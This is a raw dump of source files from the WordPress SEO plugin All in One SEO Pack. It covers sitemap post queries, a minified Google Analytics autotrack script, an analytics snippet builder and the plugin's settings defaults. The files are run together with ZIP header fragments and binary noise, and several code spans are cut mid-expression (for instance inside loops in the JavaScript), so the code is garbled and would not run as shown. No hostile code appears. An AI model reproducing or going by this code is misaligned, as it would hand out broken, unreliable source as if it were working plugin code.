} } return $total; } /** * Get All Post Type Data * * Return post data using get_posts(). * * @since ? * @since 3.0 Changed to exclude noindex post types & posts. #1382 * * @global array $aioseop_options * * @param array $args Query Arguments. * @return array|mixed */ public function get_all_post_type_data( $args ) { global $aioseop_options; $defaults = array( 'numberposts' => $this->max_posts, 'offset' => 0, 'category' => 0, 'orderby' => 'post_date', 'order' => 'ASC', 'include' => array(), 'exclude' => array(), 'post_type' => 'any', 'meta_query' => array(), 'cache_results' => false, 'no_found_rows' => true, ); $this->modify_post_params_for_external_plugins( $defaults ); /* * Filter to exclude password protected posts. * TODO: move to its own function and call it from here, returning whatever is appropriate. * @since 2.3.12 */ if ( apply_filters( 'aioseop_sitemap_include_password_posts', true ) === false ) { $defaults['has_password'] = false; } $args = wp_parse_args( $args, $defaults ); if ( empty( $args['post_type'] ) ) { return apply_filters( $this->prefix . 'post_filter', array(), $args ); } $exclude_slugs = array(); if ( ! empty( $args['exclude'] ) ) { $exclude = preg_split( '/[\s,]+/', trim( $args['exclude'] ) ); if ( ! empty( $exclude ) ) { foreach ( $exclude as $k => $v ) { if ( ! is_numeric( $v ) ) { $exclude_slugs[] = $v; unset( $exclude[ $k ] ); } } if ( ! empty( $exclude_slugs ) ) { $args['exclude'] = implode( ',', $exclude ); } } } if ( ! is_array( $args['exclude'] ) ) { $args['exclude'] = explode( ',', $args['exclude'] ); } // Exclude (method) query args. $ex_args = $args; $ex_args['meta_query'] = array( 'relation' => 'OR', array( 'key' => '_aioseop_sitemap_exclude', 'value' => 'on', 'compare' => '=', ), array( 'key' => '_aioseop_noindex', 'value' => 'on', 'compare' => '=', ), ); // This needs to be -1 so that excluding posts isn't restricted to affect posts to not be excluded properly. $ex_args['posts_per_page'] = -1; $ex_args['fields'] = 'ids'; // Exclude (method) query. $q_exclude = new WP_Query( $ex_args ); if ( ! empty( $q_exclude->posts ) ) { $args['exclude'] = array_merge( $args['exclude'], $q_exclude->posts ); } $this->excludes = array_merge( $args['exclude'], $exclude_slugs ); // Add excluded slugs and IDs to class var. // Avoid if possible. // Include (method) query args for including posts that may have been excluded; // for example, exclude post type, but include certain posts. // NOTE: Do NOT use this for basic including. It's best to avoid an additional query. $args_include = array( 'post_type' => array(), 'meta_query' => array( 'relation' => 'OR', array( 'key' => '_aioseop_noindex', 'value' => 'off', 'compare' => '=', ), ), 'posts_per_page' => $this->max_posts, ); // Exclude from main query, and check if a Query Include is needed. // Check for NoIndex Post Types, BUT also check for Index on NoIdex Post Type. if ( is_array( $aioseop_options['aiosp_cpostnoindex'] ) ) { // Check if wp_query_args post_type is an array or string. if ( is_array( $args['post_type'] ) ) { foreach ( $args['post_type'] as $index => $post_type ) { if ( in_array( $post_type, $aioseop_options['aiosp_cpostnoindex'], true ) ) { $args_include['post_type'][] = $post_type; unset( $args['post_type'][ $index ] ); } } } else { if ( in_array( $args['post_type'], $aioseop_options['aiosp_cpostnoindex'], true ) ) { $args_include['post_type'][] = $args['post_type']; $q_include = new WP_Query( $args_include ); // Return posts on single post type query, since no additional query is needed. return $q_include->posts; } } } // Avoid if possible. // Include (method) query. // NOTE: Do NOT use this for basic including. It's best to avoid an additional query. $posts_include = array(); if ( ! empty( $args_include['post_type'] ) ) { $q_include = new WP_Query( $args_include ); // When posts exists from the include method, add to $posts_include to add to final query. if ( ! empty( $q_include->posts ) ) { $posts_include = $q_include->posts; } } // TODO: consider using WP_Query instead of get_posts to improve efficiency. /** * {$module_prefix}post_query * * Arguments to use on get_posts(). * * @since ? * * @param array $args { * Arguments/params for get_posts. * @see get_posts() * @link https://developer.wordpress.org/reference/functions/get_posts/ * } */ $posts = get_posts( apply_filters( $this->prefix . 'post_query', $args ) ); // TODO Possibly change to exclude with post__not_in. // Hardcoded exclude concept. if ( ! empty( $exclude_slugs ) ) { foreach ( $posts as $k => $v ) { // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( in_array( $v->post_name, $exclude_slugs ) ) { unset( $posts[ $k ] ); } } } // Hardcoded include concept. foreach ( $posts_include as $k1_post_id => $v1_post ) { $posts[ $k1_post_id ] = $v1_post; } /** * {$module_prefix}post_filter * * Posts from finalized query for sitemap data. * * @since ? * * @param array $posts { * @type WP_Post ${$post_id} { * @see WP_Post object for more information. * @link https://codex.wordpress.org/Class_Reference/WP_Post * } * } * @param array $args { * Arguments/params for get_posts. * @see get_posts() * @link https://developer.wordpress.org/reference/functions/get_posts/ * } */ $posts = apply_filters( $this->prefix . 'post_filter', $posts, $args ); return $posts; } } } PK,—[‡~‹u±±5all-in-one-seo-pack/modules/aioseop_video_sitemap.phpnu„[µü¤>b/4).toString(16):"10000000-1000-4000-8000-100000000000".replace(/[018]/g,wa)}; function G(a,b){var c=window.GoogleAnalyticsObject||"ga";window[c]=window[c]||function(a){for(var b=[],d=0;dwindow.gaDevIds.indexOf("i5iSjo")&&window.gaDevIds.push("i5iSjo");window[c]("provide",a,b);window.gaplugins=window.gaplugins||{};window.gaplugins[a.charAt(0).toUpperCase()+a.slice(1)]=b}var H={T:1,U:2,V:3,X:4,Y:5,Z:6,$:7,aa:8,ba:9,W:10},I=Object.keys(H).length; function J(a,b){a.set("\x26_av","2.4.0");var c=a.get("\x26_au"),c=parseInt(c||"0",16).toString(2);if(c.lengthb.getAttribute(c+"on").split(/\s*,\s*/).indexOf(a.type))){var c=A(b,c),d=z({},this.a.fieldsObj,c);this.f.send(c.hitType||"event",y({transport:"beacon"},d,this.f,this.a.hitFilter,b,a))}};L.prototype.remove=function(){var a=this;Object.keys(this.b).forEach(function(b){a.b[b].j()})};G("eventTracker",L); function za(a,b){var c=this;J(a,H.V);window.IntersectionObserver&&window.MutationObserver&&(this.a=z({rootMargin:"0px",fieldsObj:{},attributePrefix:"ga-"},b),this.c=a,this.M=this.M.bind(this),this.O=this.O.bind(this),this.K=this.K.bind(this),this.L=this.L.bind(this),this.b=null,this.items=[],this.i={},this.h={},sa(function(){c.a.elements&&c.observeElements(c.a.elements)}))}f=za.prototype; f.observeElements=function(a){var b=this;a=M(this,a);this.items=this.items.concat(a.items);this.i=z({},a.i,this.i);this.h=z({},a.h,this.h);a.items.forEach(function(a){var c=b.h[a.threshold]=b.h[a.threshold]||new IntersectionObserver(b.O,{rootMargin:b.a.rootMargin,threshold:[+a.threshold]});(a=b.i[a.id]||(b.i[a.id]=document.getElementById(a.id)))&&c.observe(a)});this.b||(this.b=new MutationObserver(this.M),this.b.observe(document.body,{childList:!0,subtree:!0}));requestAnimationFrame(function(){})}; f.unobserveElements=function(a){var b=[],c=[];this.items.forEach(function(d){a.some(function(a){a=Aa(a);return a.id===d.id&&a.threshold===d.threshold&&a.trackFirstImpressionOnly===d.trackFirstImpressionOnly})?c.push(d):b.push(d)});if(b.length){var d=M(this,b),e=M(this,c);this.items=d.items;this.i=d.i;this.h=d.h;c.forEach(function(a){if(!d.i[a.id]){var b=e.h[a.threshold],c=e.i[a.id];c&&b.unobserve(c);d.h[a.threshold]||e.h[a.threshold].disconnect()}})}else this.unobserveAllElements()}; f.unobserveAllElements=function(){var a=this;Object.keys(this.h).forEach(function(b){a.h[b].disconnect()});this.b.disconnect();this.b=null;this.items=[];this.i={};this.h={}};function M(a,b){var c=[],d={},e={};b.length&&b.forEach(function(b){b=Aa(b);c.push(b);e[b.id]=a.i[b.id]||null;d[b.threshold]=a.h[b.threshold]||null});return{items:c,i:e,h:d}}f.M=function(a){for(var b=0,c;c=a[b];b++){for(var d=0,e;e=c.removedNodes[d];d++)N(this,e,this.L);for(d=0;e=c.addedNodes[d];d++)N(this,e,this.K)}}; function N(a,b,c){1==b.nodeType&&b.id in a.i&&c(b.id);for(var d=0,e;e=b.childNodes[d];d++)N(a,e,c)} f.O=function(a){for(var b=[],c=0,d;d=a[c];c++)for(var e=0,h;h=this.items[e];e++){var g;if(g=d.target.id===h.id)(g=h.threshold)?g=d.intersectionRatio>=g:(g=d.intersectionRect,g=06E4*this.timeout||this.c&&this.c.format(a)!=this.c.format(b))?!0:!1};U.prototype.b=function(a){var b=this;return function(c){a(c);var d=c.get("sessionControl");c="start"==d||b.isExpired();var d="end"==d,e=b.a.get();e.hitTime=+new Date;c&&(e.isExpired=!1,e.id=D());d&&(e.isExpired=!0);b.a.set(e)}}; U.prototype.j=function(){x(this.f,"sendHitTask",this.b);this.a.j();delete T[this.f.get("trackingId")]};var Ha=30;function W(a,b){J(a,H.W);window.addEventListener&&(this.b=z({increaseThreshold:20,sessionTimeout:Ha,fieldsObj:{}},b),this.f=a,this.c=Ja(this),this.g=ta(this.g.bind(this),500),this.o=this.o.bind(this),this.a=S(a.get("trackingId"),"plugins/max-scroll-tracker"),this.m=Ia(a,this.b.sessionTimeout,this.b.timeZone),w(a,"set",this.o),Ka(this))} function Ka(a){100>(a.a.get()[a.c]||0)&&window.addEventListener("scroll",a.g)} W.prototype.g=function(){var a=document.documentElement,b=document.body,a=Math.min(100,Math.max(0,Math.round(window.pageYOffset/(Math.max(a.offsetHeight,a.scrollHeight,b.offsetHeight,b.scrollHeight)-window.innerHeight)*100))),b=V(this.m);b!=this.a.get().sessionId&&(Ga(this.a),this.a.set({sessionId:b}));if(this.m.isExpired(this.a.get().sessionId))Ga(this.a);else if(b=this.a.get()[this.c]||0,a>b&&(100!=a&&100!=b||window.removeEventListener("scroll",this.g),b=a-b,100==a||b>=this.b.increaseThreshold)){var c= {};this.a.set((c[this.c]=a,c.sessionId=V(this.m),c));a={transport:"beacon",eventCategory:"Max Scroll",eventAction:"increase",eventValue:b,eventLabel:String(a),nonInteraction:!0};this.b.maxScrollMetricIndex&&(a["metric"+this.b.maxScrollMetricIndex]=b);this.f.send("event",y(a,this.b.fieldsObj,this.f,this.b.hitFilter))}};W.prototype.o=function(a){var b=this;return function(c,d){a(c,d);var e={};(C(c)?c:(e[c]=d,e)).page&&(c=b.c,b.c=Ja(b),b.c!=c&&Ka(b))}}; function Ja(a){a=u(a.f.get("page")||a.f.get("location"));return a.pathname+a.search}W.prototype.remove=function(){this.m.j();window.removeEventListener("scroll",this.g);x(this.f,"set",this.o)};G("maxScrollTracker",W);var La={};function Ma(a,b){J(a,H.X);window.matchMedia&&(this.a=z({changeTemplate:this.changeTemplate,changeTimeout:1E3,fieldsObj:{}},b),C(this.a.definitions)&&(b=this.a.definitions,this.a.definitions=Array.isArray(b)?b:[b],this.b=a,this.c=[],Oa(this)))} function Oa(a){a.a.definitions.forEach(function(b){if(b.name&&b.dimensionIndex){var c=Pa(b);a.b.set("dimension"+b.dimensionIndex,c);Qa(a,b)}})}function Pa(a){var b;a.items.forEach(function(a){Ra(a.media).matches&&(b=a)});return b?b.name:"(not set)"} function Qa(a,b){b.items.forEach(function(c){c=Ra(c.media);var d=ta(function(){var c=Pa(b),d=a.b.get("dimension"+b.dimensionIndex);c!==d&&(a.b.set("dimension"+b.dimensionIndex,c),c={transport:"beacon",eventCategory:b.name,eventAction:"change",eventLabel:a.a.changeTemplate(d,c),nonInteraction:!0},a.b.send("event",y(c,a.a.fieldsObj,a.b,a.a.hitFilter)))},a.a.changeTimeout);c.addListener(d);a.c.push({fa:c,da:d})})}Ma.prototype.remove=function(){for(var a=0,b;b=this.c[a];a++)b.fa.removeListener(b.da)}; Ma.prototype.changeTemplate=function(a,b){return a+" \x3d\x3e "+b};G("mediaQueryTracker",Ma);function Ra(a){return La[a]||(La[a]=window.matchMedia(a))}function X(a,b){J(a,H.Y);window.addEventListener&&(this.a=z({formSelector:"form",shouldTrackOutboundForm:this.shouldTrackOutboundForm,fieldsObj:{},attributePrefix:"ga-"},b),this.b=a,this.c=q("submit",this.a.formSelector,this.f.bind(this)))} X.prototype.f=function(a,b){var c={transport:"beacon",eventCategory:"Outbound Form",eventAction:"submit",eventLabel:u(b.action).href};if(this.a.shouldTrackOutboundForm(b,u)){navigator.sendBeacon||(a.preventDefault(),c.hitCallback=ua(function(){b.submit()}));var d=z({},this.a.fieldsObj,A(b,this.a.attributePrefix));this.b.send("event",y(c,d,this.b,this.a.hitFilter,b,a))}}; X.prototype.shouldTrackOutboundForm=function(a,b){a=b(a.action);return a.hostname!=location.hostname&&"http"==a.protocol.slice(0,4)};X.prototype.remove=function(){this.c.j()};G("outboundFormTracker",X); function Y(a,b){var c=this;J(a,H.Z);window.addEventListener&&(this.a=z({events:["click"],linkSelector:"a, area",shouldTrackOutboundLink:this.shouldTrackOutboundLink,fieldsObj:{},attributePrefix:"ga-"},b),this.f=a,this.c=this.c.bind(this),this.b={},this.a.events.forEach(function(a){c.b[a]=q(a,c.a.linkSelector,c.c)}))} Y.prototype.c=function(a,b){if(this.a.shouldTrackOutboundLink(b,u)){var c=b.getAttribute("href")||b.getAttribute("xlink:href"),d=u(c),e={transport:"beacon",eventCategory:"Outbound Link",eventAction:a.type,eventLabel:d.href};navigator.sendBeacon||"click"!=a.type||"_blank"==b.target||a.metaKey||a.ctrlKey||a.shiftKey||a.altKey||1=a.a.visibleThreshold&&(b=Math.round(b/1E3),d={transport:"beacon",nonInteraction:!0,eventCategory:"Page Visibility",eventAction:"track",eventValue:b,eventLabel:"(not set)"},c&&(d.queueTime=+new Date-c),a.a.visibleMetricIndex&&(d["metric"+a.a.visibleMetricIndex]=b),a.b.send("event",y(d,a.a.fieldsObj,a.b,a.a.hitFilter)))} function Ta(a,b){var c=b?b:{};b=c.hitTime;var c=c.ea,d={transport:"beacon"};b&&(d.queueTime=+new Date-b);c&&a.a.pageLoadsMetricIndex&&(d["metric"+a.a.pageLoadsMetricIndex]=1);a.b.send("pageview",y(d,a.a.fieldsObj,a.b,a.a.hitFilter))}f.v=function(a){var b=this;return function(c,d){var e={},e=C(c)?c:(e[c]=d,e);e.page&&e.page!==b.b.get("page")&&"visible"==b.g&&b.s();a(c,d)}};f.N=function(a,b){a.time!=b.time&&(b.pageId!=Z||"visible"!=b.state||this.f.isExpired(b.sessionId)||Va(this,b,{hitTime:a.time}))}; f.G=function(){"hidden"!=this.g&&this.s()};f.remove=function(){this.c.j();this.f.j();x(this.b,"set",this.v);window.removeEventListener("unload",this.G);document.removeEventListener("visibilitychange",this.s)};G("pageVisibilityTracker",Sa); function Wa(a,b){J(a,H.aa);window.addEventListener&&(this.a=z({fieldsObj:{},hitFilter:null},b),this.b=a,this.u=this.u.bind(this),this.J=this.J.bind(this),this.D=this.D.bind(this),this.A=this.A.bind(this),this.B=this.B.bind(this),this.F=this.F.bind(this),"complete"!=document.readyState?window.addEventListener("load",this.u):this.u())}f=Wa.prototype; f.u=function(){if(window.FB)try{window.FB.Event.subscribe("edge.create",this.B),window.FB.Event.subscribe("edge.remove",this.F)}catch(a){}window.twttr&&this.J()};f.J=function(){var a=this;try{window.twttr.ready(function(){window.twttr.events.bind("tweet",a.D);window.twttr.events.bind("follow",a.A)})}catch(b){}};function Xa(a){try{window.twttr.ready(function(){window.twttr.events.unbind("tweet",a.D);window.twttr.events.unbind("follow",a.A)})}catch(b){}} f.D=function(a){if("tweet"==a.region){var b={transport:"beacon",socialNetwork:"Twitter",socialAction:"tweet",socialTarget:a.data.url||a.target.getAttribute("data-url")||location.href};this.b.send("social",y(b,this.a.fieldsObj,this.b,this.a.hitFilter,a.target,a))}}; f.A=function(a){if("follow"==a.region){var b={transport:"beacon",socialNetwork:"Twitter",socialAction:"follow",socialTarget:a.data.screen_name||a.target.getAttribute("data-screen-name")};this.b.send("social",y(b,this.a.fieldsObj,this.b,this.a.hitFilter,a.target,a))}};f.B=function(a){this.b.send("social",y({transport:"beacon",socialNetwork:"Facebook",socialAction:"like",socialTarget:a},this.a.fieldsObj,this.b,this.a.hitFilter))}; f.F=function(a){this.b.send("social",y({transport:"beacon",socialNetwork:"Facebook",socialAction:"unlike",socialTarget:a},this.a.fieldsObj,this.b,this.a.hitFilter))};f.remove=function(){window.removeEventListener("load",this.u);try{window.FB.Event.unsubscribe("edge.create",this.B),window.FB.Event.unsubscribe("edge.remove",this.F)}catch(a){}Xa(this)};G("socialWidgetTracker",Wa); function Ya(a,b){J(a,H.ba);history.pushState&&window.addEventListener&&(this.a=z({shouldTrackUrlChange:this.shouldTrackUrlChange,trackReplaceState:!1,fieldsObj:{},hitFilter:null},b),this.b=a,this.c=location.pathname+location.search,this.H=this.H.bind(this),this.I=this.I.bind(this),this.C=this.C.bind(this),w(history,"pushState",this.H),w(history,"replaceState",this.I),window.addEventListener("popstate",this.C))}f=Ya.prototype; f.H=function(a){var b=this;return function(c){for(var d=[],e=0;epost_parent ) ) && ( is_numeric( $post->post_parent ) && 0 != $post->post_parent ) ) ) { wp_safe_redirect( aioseop_get_permalink( $post->post_parent ), 301 ); exit; } } } } $aiosp_front_class = new All_in_One_SEO_Pack_Front(); PK,—[ªu0ë³³/all-in-one-seo-pack/public/google-analytics.phpnu„[µü¤google_analytics(); } /** * Google Analytics * * @since 2.3.9.2 * @since 2.3.14 Refactored to work with autotrack.js. * * @link https://github.com/googleanalytics/autotrack * * @global array $aioseop_options All-in-on-seo saved settings/options. * @global object $current_user Current logged in WP user. */ public function google_analytics() { global $aioseop_options; // Exclude tracking for users? if ( ! empty( $aioseop_options['aiosp_ga_advanced_options'] ) && ! empty( $aioseop_options['aiosp_ga_exclude_users'] ) && is_user_logged_in() ) { global $current_user; if ( empty( $current_user ) ) { wp_get_current_user(); } if ( ! empty( $current_user ) ) { $intersect = array_intersect( $aioseop_options['aiosp_ga_exclude_users'], $current_user->roles ); if ( ! empty( $intersect ) ) { return; } } } if ( ! empty( $aioseop_options['aiosp_google_analytics_id'] ) ) { ob_start(); $analytics = $this->universal_analytics(); echo $analytics; if ( apply_filters( 'aioseop_ga_enable_autotrack', ! empty( $aioseop_options['aiosp_ga_advanced_options'] ) && $aioseop_options['aiosp_ga_track_outbound_links'], $aioseop_options ) ) { $autotrack = apply_filters( 'aiosp_google_autotrack', AIOSEOP_PLUGIN_URL . 'public/js/vendor/autotrack.js' ); ?> get_analytics_domain(); } if ( ! empty( $cookie_domain ) ) { $cookie_domain = esc_js( $cookie_domain ); $cookie_domain = '\'cookieDomain\': \'' . $cookie_domain . '\''; } if ( empty( $cookie_domain ) ) { $domain = ', \'auto\''; } if ( ! empty( $aioseop_options['aiosp_ga_advanced_options'] ) && ! empty( $aioseop_options['aiosp_ga_multi_domain'] ) ) { $allow_linker = '\'allowLinker\': true'; if ( ! empty( $aioseop_options['aiosp_ga_addl_domains'] ) ) { $addl_domains = trim( $aioseop_options['aiosp_ga_addl_domains'] ); $addl_domains = preg_split( '/[\s,]+/', $addl_domains ); if ( ! empty( $addl_domains ) ) { foreach ( $addl_domains as $d ) { $d = $this->sanitize_domain( $d ); if ( ! empty( $d ) ) { if ( ! empty( $domain_list ) ) { $domain_list .= ', '; } $domain_list .= '\'' . $d . '\''; } } } } } $extra_options = array(); if ( ! empty( $domain_list ) ) { $extra_options[] = 'ga(\'require\', \'linker\');'; $extra_options[] = 'ga(\'linker:autoLink\', [' . $domain_list . '] );'; } if ( ! empty( $aioseop_options['aiosp_ga_advanced_options'] ) ) { if ( ! empty( $aioseop_options['aiosp_ga_display_advertising'] ) ) { $extra_options[] = 'ga(\'require\', \'displayfeatures\');'; } if ( ! empty( $aioseop_options['aiosp_ga_enhanced_ecommerce'] ) ) { $extra_options[] = 'ga(\'require\', \'ec\');'; } if ( ! empty( $aioseop_options['aiosp_ga_link_attribution'] ) ) { $extra_options[] = 'ga(\'require\', \'linkid\', \'linkid.js\');'; } if ( ! empty( $aioseop_options['aiosp_ga_anonymize_ip'] ) ) { $extra_options[] = 'ga(\'set\', \'anonymizeIp\', true);'; } if ( ! empty( $aioseop_options['aiosp_ga_track_outbound_links'] ) ) { $extra_options[] = 'ga(\'require\', \'outboundLinkTracker\');'; } } $extra_options = apply_filters( 'aioseop_ga_extra_options', $extra_options, $aioseop_options ); $js_options = array(); foreach ( array( 'cookie_domain', 'allow_linker' ) as $opts ) { if ( ! empty( $$opts ) ) { $js_options[] = $$opts; } } $js_options = empty( $js_options ) ? '' : ', { ' . implode( ',', $js_options ) . ' } '; // Prepare analytics. $analytics_id = esc_js( $aioseop_options['aiosp_google_analytics_id'] ); ob_start() ?> sanitize_domain( $aioseop_options['aiosp_ga_domain'] ); } return ''; } } } PK,—[ì§àå$$$all-in-one-seo-pack/public/index.phpnu„[µü¤log_file = WP_CONTENT_DIR . '/all-in-one-seo-pack.log'; // PHP <5.3 compatibility, once we drop support we can use __DIR___. if ( ! empty( $aioseop_options ) && isset( $aioseop_options['aiosp_do_log'] ) && $aioseop_options['aiosp_do_log'] ) { $this->do_log = true; } else { $this->do_log = false; } /* translators: This is a header for the General Settings menu. %s is a placeholder and is replaced with the name of the plugin. */ $this->name = sprintf( __( '%s Plugin Options', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ); /* translators: This is the main menu of the plugin. */ $this->menu_name = __( 'General Settings', 'all-in-one-seo-pack' ); $this->prefix = 'aiosp_'; // Option prefix. $this->option_name = 'aioseop_options'; $this->store_option = true; $this->file = __FILE__; // The current file. $blog_name = esc_attr( get_bloginfo( 'name' ) ); parent::__construct(); $this->default_options = array( 'license_key' => array( /* translators: This is a setting where users can enter their license code for All in One SEO Pack Pro. */ 'name' => __( 'License Key', 'all-in-one-seo-pack' ), 'type' => 'text', ), 'home_title' => array( /* translators: This is a setting where users can enter the title for their homepage. */ 'name' => __( 'Home Title', 'all-in-one-seo-pack' ), 'default' => null, 'type' => 'text', 'sanitize' => 'text', 'count' => true, 'rows' => 1, 'cols' => 60, 'condshow' => array( 'aiosp_use_static_home_info' => 0 ), ), 'home_description' => array( /* translators: This is a setting where users can enter the description for their homepage. */ 'name' => __( 'Home Description', 'all-in-one-seo-pack' ), 'default' => '', 'type' => 'textarea', 'sanitize' => 'text', 'count' => true, 'cols' => 80, 'rows' => 2, 'condshow' => array( 'aiosp_use_static_home_info' => 0 ), ), 'togglekeywords' => array( /* translators: This is a setting where users can enable the use of meta keywords for their website. */ 'name' => __( 'Use Keywords', 'all-in-one-seo-pack' ), 'default' => 1, 'type' => 'radio', 'initial_options' => array( /* translators: Some settings are either 'Enabled' or 'Disabled'. 'Activated' and 'Deactivated' mean the same. */ 0 => __( 'Enabled', 'all-in-one-seo-pack' ), /* translators: Some settings are either 'Enabled' or 'Disabled'. 'Activated' and 'Deactivated' mean the same. */ 1 => __( 'Disabled', 'all-in-one-seo-pack' ), ), ), 'home_keywords' => array( /* translators: This is a setting where users can enter meta keywords for their homepage. */ 'name' => __( 'Home Keywords (comma separated)', 'all-in-one-seo-pack' ), 'default' => null, 'type' => 'textarea', 'sanitize' => 'text', 'condshow' => array( 'aiosp_togglekeywords' => 0, 'aiosp_use_static_home_info' => 0, ), ), 'use_static_home_info' => array( /* translators: This is a setting where users can indicate that they are using a static page for their homepage. */ 'name' => __( 'Use Static Front Page Instead', 'all-in-one-seo-pack' ), 'default' => 0, 'type' => 'radio', 'initial_options' => array( 1 => __( 'Enabled', 'all-in-one-seo-pack' ), 0 => __( 'Disabled', 'all-in-one-seo-pack' ), ), ), 'can' => array( /* translators: This is the name of a setting. Canonical URLs help users prevent duplicate content issues - https://en.wikipedia.org/wiki/Canonical_link_element. Leave "Canonical" in English if there is no such term in your language. */ 'name' => __( 'Canonical URLs', 'all-in-one-seo-pack' ), 'default' => 1, ), 'no_paged_canonical_links' => array( /* translators: This is the name of a setting. Canonical URLs help users prevent duplicate content issues - https://en.wikipedia.org/wiki/Canonical_link_element. Leave "Canonical" in English if there is no such term in your language. Enabling this setting means the plugin will use the URL of the first page as the canonical URL for all subsequent paginated pages. */ 'name' => __( 'No Pagination for Canonical URLs', 'all-in-one-seo-pack' ), 'default' => 0, 'condshow' => array( 'aiosp_can' => 'on' ), ), 'force_rewrites' => array( /* translators: This is the name of a setting. Enabling this option forces the plugin to use output buffering to ensure that the title tag will be rewritten. */ 'name' => __( 'Force Rewrites', 'all-in-one-seo-pack' ), 'default' => 1, 'type' => 'hidden', 'prefix' => $this->prefix, 'initial_options' => array( 1 => __( 'Enabled', 'all-in-one-seo-pack' ), 0 => __( 'Disabled', 'all-in-one-seo-pack' ), ), ), 'use_original_title' => array( /* translators: This is the name of a setting. Enabling this option forces the plugin to use the wp_title() function to fetch the title tag. */ 'name' => __( 'Use Original Title', 'all-in-one-seo-pack' ), 'type' => 'radio', 'default' => 0, 'initial_options' => array( 1 => __( 'Enabled', 'all-in-one-seo-pack' ), 0 => __( 'Disabled', 'all-in-one-seo-pack' ), ), ), 'home_page_title_format' => array( /* translators: This is a setting where users can enter the title format for the homepage. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( 'Home Page Title Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%page_title%', ), 'page_title_format' => array( /* translators: This is a setting where users can enter the title format for Pages. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( 'Page Title Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%page_title% | %site_title%', ), 'post_title_format' => array( /* translators: This is a setting where users can enter the title format for Posts. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( 'Post Title Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%post_title% | %site_title%', ), 'category_title_format' => array( /* translators: This is a setting where users can enter the title format for categories. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( 'Category Title Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%category_title% | %site_title%', ), 'archive_title_format' => array( /* translators: This is a setting where users can enter the title format for archive pages. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( 'Archive Title Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%archive_title% | %site_title%', ), 'date_title_format' => array( /* translators: This is a setting where users can enter the title format for date archive pages. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( 'Date Archive Title Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%date% | %site_title%', ), 'author_title_format' => array( /* translators: This is a setting where users can enter the title format for author archive pages. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( 'Author Archive Title Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%author% | %site_title%', ), 'tag_title_format' => array( /* translators: This is a setting where users can enter the title format for tag archive pages. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( 'Tag Title Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%tag% | %site_title%', ), 'search_title_format' => array( /* translators: This is a setting where users can enter the title format for the search page. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( 'Search Title Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%search% | %site_title%', ), 'description_format' => array( /* translators: This is a setting where users can enter the description format. The description format is the format All in One SEO Pack uses to rewrite the meta description tag. */ 'name' => __( 'Description Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%description%', ), '404_title_format' => array( /* translators: This is a setting where users can enter the title format for the 404 page. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( '404 Title Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => __( 'Nothing found for %request_words%', 'all-in-one-seo-pack' ), ), 'paged_format' => array( /* translators: This is a setting where users can enter the title format for paginated pages. The title format is the format All in One SEO Pack uses to rewrite the title tag. */ 'name' => __( 'Paged Format', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => sprintf( ' - %s %%page%%', __( 'Part', 'all-in-one-seo-pack' ) ), ), 'cpostactive' => array( /* translators: This is a setting where users can indicate which post types they want to use All in One SEO Pack with. */ 'name' => __( 'SEO on only these Content Types', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'default' => array( 'post', 'page' ), ), 'taxactive' => array( /* translators: This is a setting where users can indicate which taxonomies they want to use All in One SEO Pack with. */ 'name' => __( 'SEO on only these taxonomies', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'default' => array( 'category', 'post_tag' ), ), 'cpostnoindex' => array( /* translators: This is a setting where users can indicate which post types they want to NOINDEX by default. NOINDEX is a value of the HTML robots meta tag that asks search engines not to index the page. */ 'name' => __( 'Default to NOINDEX', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'default' => array(), ), 'cpostnofollow' => array( /* translators: This is a setting where users can indicate which post types they want to NOFOLLOW by default. NOFOLLOW is a value of the HTML robots meta tag that asks search engines not to follow any links on the page. */ 'name' => __( 'Default to NOFOLLOW', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'default' => array(), ), 'posttypecolumns' => array( /* translators: This is a setting where users can indicate for which post types they want to enable columns. Columns are added to the All Posts, All Pages, etc. list pages and allow users to quick-edit their title and description - https://semperplugins.com/documentation/display-settings/#show-column-labels-for-custom-post-types. */ 'name' => __( 'Show Column Labels for Custom Post Types', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'default' => array( 'post', 'page' ), ), 'google_verify' => array( 'name' => 'Google Search Console', 'default' => '', 'type' => 'text', ), 'bing_verify' => array( 'name' => 'Bing Webmaster Tools', 'default' => '', 'type' => 'text', ), 'pinterest_verify' => array( /* translators: This is a setting where users can add their Pinterest website verification code. */ 'name' => __( 'Pinterest Site Verification', 'all-in-one-seo-pack' ), 'default' => '', 'type' => 'text', ), 'yandex_verify' => array( 'name' => 'Yandex Webmaster Tools', 'default' => '', 'type' => 'text', ), 'baidu_verify' => array( 'name' => 'Baidu Webmaster Tools', 'default' => '', 'type' => 'text', ), 'google_analytics_id' => array( /* translators: This is a setting where users can add their Google Analytics verification code. Leave this in English if there is no translation for "Google Analytics". */ 'name' => __( 'Google Analytics ID', 'all-in-one-seo-pack' ), 'default' => null, 'type' => 'text', 'placeholder' => 'UA-########-#', ), 'ga_advanced_options' => array( /* translators: 